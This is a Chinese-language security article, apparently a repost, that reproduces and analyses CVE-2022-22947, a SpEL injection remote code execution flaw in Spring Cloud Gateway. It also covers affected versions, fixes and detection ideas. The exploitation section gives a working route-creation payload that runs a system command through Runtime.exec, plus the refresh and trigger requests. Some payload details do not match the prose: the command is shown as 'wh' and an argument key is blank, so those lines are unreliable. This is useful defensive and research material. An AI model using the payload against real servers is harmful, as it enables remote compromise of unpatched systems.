CVE-2022-22947 远程代码执行漏洞复现分析 - FreeBuf网络安全行业门户

admin 2023年3月6日19:20:53CVE-2022-22947 远程代码执行漏洞复现分析 - FreeBuf网络安全行业门户已关闭评论67 views字数 4298阅读14分19秒阅读模式

简介

前段时间有篇文章[1]披露了开源项目 Spring Cloud Gateway 的一个远程代码执行漏洞,编号为 CVE-2022-22947。

受影响版本

根据 VMWare 和 Spring 的官方公告[2][3],受影响的版本为:

  • 3.1.0

  • 3.0.0 到 3.0.6

  • 旧的不受支持的版本也受影响

修复方案

修复方案有:

  • 3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。

  • 在不影响业务的前提下,通过将配置选项 management.endpoint.gateway.enabled设置为 false禁用 gateway actuator endpoint。

检测思路

流量检测:分析 HTTP 流量,检测是否存在异常访问 actuator gateway API 的请求。

主机端:

  • 静态检测:通过对比修复前后 ShortcutConfigurable.class文件的区别指定特征码,根据特征码编写 yara 规则,以查找服务器上是否存在受影响版本的 spring-cloud-gatewayjar 包。

  • 动态检测:查找服务器上正在运行的 Java 进程,检测其是否加载了 spring-cloud-gatewayjar 包。

漏洞分析

目前已公开的漏洞分析文章都在分析 3.x版本,为了确认 2.x版本也受影响,本文对 2018 年发布的 Finchley.RELEASE版本进行了分析,Spring Cloud Gateway 的版本为 2.0.0.RELEASE

环境搭建

演示项目代码已上传到 GitHub 仓库。

项目中,通过配置文件定义了一个路由。启动项目后,访问 http://localhost:8080/ip,如果一切正常,则会得到以下结果:

image

利用方法

POST方法请求 /actuator/gateway/routes/pentest,并提交以下数据,用于创建一条恶意路由:

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(getRuntime().exec(new String[]{\"wh\"}).getInputStream()))}"
      },
      "uri": "http://httpbin.org/get",
      "predicates": [
        {
          "name": "Method",
          "args": {
            "_key_0": "GET"
          }
        },
        {
          "name": "Path",
          "args": {
            "_key_0": "/pentest"
          }
        }
      ]
    }
  ]
}
  • id字段指定新路由的名称,必须全局唯一。

  • filters字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改。

    • name字段指定要添加的过滤器,这里添加了一个 AddResponseHeader过滤器,用于 gateway 给客户端返回响应之前添加一个响应头。

    • args.name字段指定要添加的响应头。

    • args.value字段指定响应头的值。这里的值是要执行的 SpEL 表达式,用于执行 whoami命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」。

    • uri字段指定将客户端请求转发到 http://httpbin.org/get

    • predicates字段指定匹配此路由的条件。这里指定了两个条件,一个是请求的方法为 GET,一个是请求的 URI 为 /pentest

有关其它 actuator gateway 的 API,可查看官方文档[7]

image

接着以 POST方法请求 /actuator/gateway/refresh,用于刷新路由,使刚添加的恶意路由生效。

最后以 GET方法请求 /pentest,触发恶意路由。在响应中可以看到过滤器添加的响应头:

image

修复方案分析

代码修复方案

首先在官方仓库中查看为了修复漏洞的 commit[4]

image

ShortcutConfigurable接口中的 getValue方法中,使用自定义的 GatewayEvaluationContext类替换了原来的 StandardEvaluationContext类。查看 GatewayEvaluationContext类的实现可知,其是对 SimpleEvaluationContext类的简单封装。

通过查询文档可知,StandardEvaluationContextSimpleEvaluationContext都类是执行 Spring 的 SpEL 表达式的接口,区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等[^5][^6]。因此通过将 StandardEvaluationContext类替换为 GatewayEvaluationContext类,可以限制执行注入的 SpEL 表达式。

禁用 actuator gateway

通过前面的漏洞利用过程可以看到,首先需要通过 /actuator/gateway/routes/{id}API 创建一条路由。因此将此 API 禁止,也可实现漏洞的修复。根据 Actuator 的 API 文档[7]可知,启用 actuator gateway 需要设置以下两个配置的值:

management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway

因此只要这两个选项不同时满足,就不会启用 actuator gateway。

漏洞分析思路

ShortcutConfigurable接口开始,通过 IntelliJ IDEA 可以看到,大多数内置过滤器都继承了 ShortcutConfigurable接口。其次,RouteDefinitionRouteLocator类(org/springframework/cloud/gateway/route/RouteDefinitionRouteLocator.class)的私有方法 loadGatewayFilters中调用了 ShortcutConfigurable接口的 normalize方法:

image

image

通过简单的回溯,RouteDefinitionRouteLocator类的公有方法 getRoutes最终会调用 loadGatewayFilters方法,调用链为:

loadGatewayFilters() -> getFilters() -> convertToRoute() -> getRoutes()

因此 /actuator/gateway/routes这个 URI 也会触发 SpEL 表达式的执行。

再仔细看下 loadGatewayFilters方法的关键功能:

  • 参数 id为路由的名称,也就是定义路由时参数 id的值。参数 filterDefinitions为该路由中定义的过滤器对象数组。

  • 方法遍历过滤器对象数组:

    • 检查指定的过滤器是否存在。不存在则抛出异常 Unable to find GatewayFilterFactory with name

    • 存在时,获取过滤器的参数,并打印 debug 日志 RouteDefinition {id} applying filter {args} to {filter}

    • 调用 normalize方法,如果参数的值是 SpEL表达式则执行,不是则直接返回。

    • 使用处理后的参数创建配置对象,然后使用过滤器工厂创建过滤器实例并保存到数组中。

2.x 与 3.x 版本的区别

在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable接口的 getValue方法中使用了 StandardEvaluationContext类来执行 SpEL 表达式。

第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。

第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService类的内部类 ConfigurableBuildernormalizeProperties方法(重写了父类中的方法)中调用了 normalize方法。而 ConfigurableBuilder类继承自内部抽象类 AbstractBuilderAbstractBuilder类中有一公有方法 bind调用了 normalizeProperties方法。

继续跟进对 bind方法的引用,可知有三处:

  • AbstractRateLimiter类的 onApplicationEvent方法。

  • RouteDefinitionRouteLocator类的 loadGatewayFilters方法和 lookup方法。

然后继续回溯可以知道所有有可能触发 SpEL 表达式执行的地方。

参考文献

[^1]: https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
[^2]: https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
[^3]: https://tanzu.vmware.com/security/cve-2022-22947
[^4]: https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
[^5]: https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/StandardEvaluationContext.html
[^6]: https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html
[^7]: https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月6日19:20:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22947 远程代码执行漏洞复现分析 - FreeBuf网络安全行业门户http://cn-sec.com/archives/1254405.html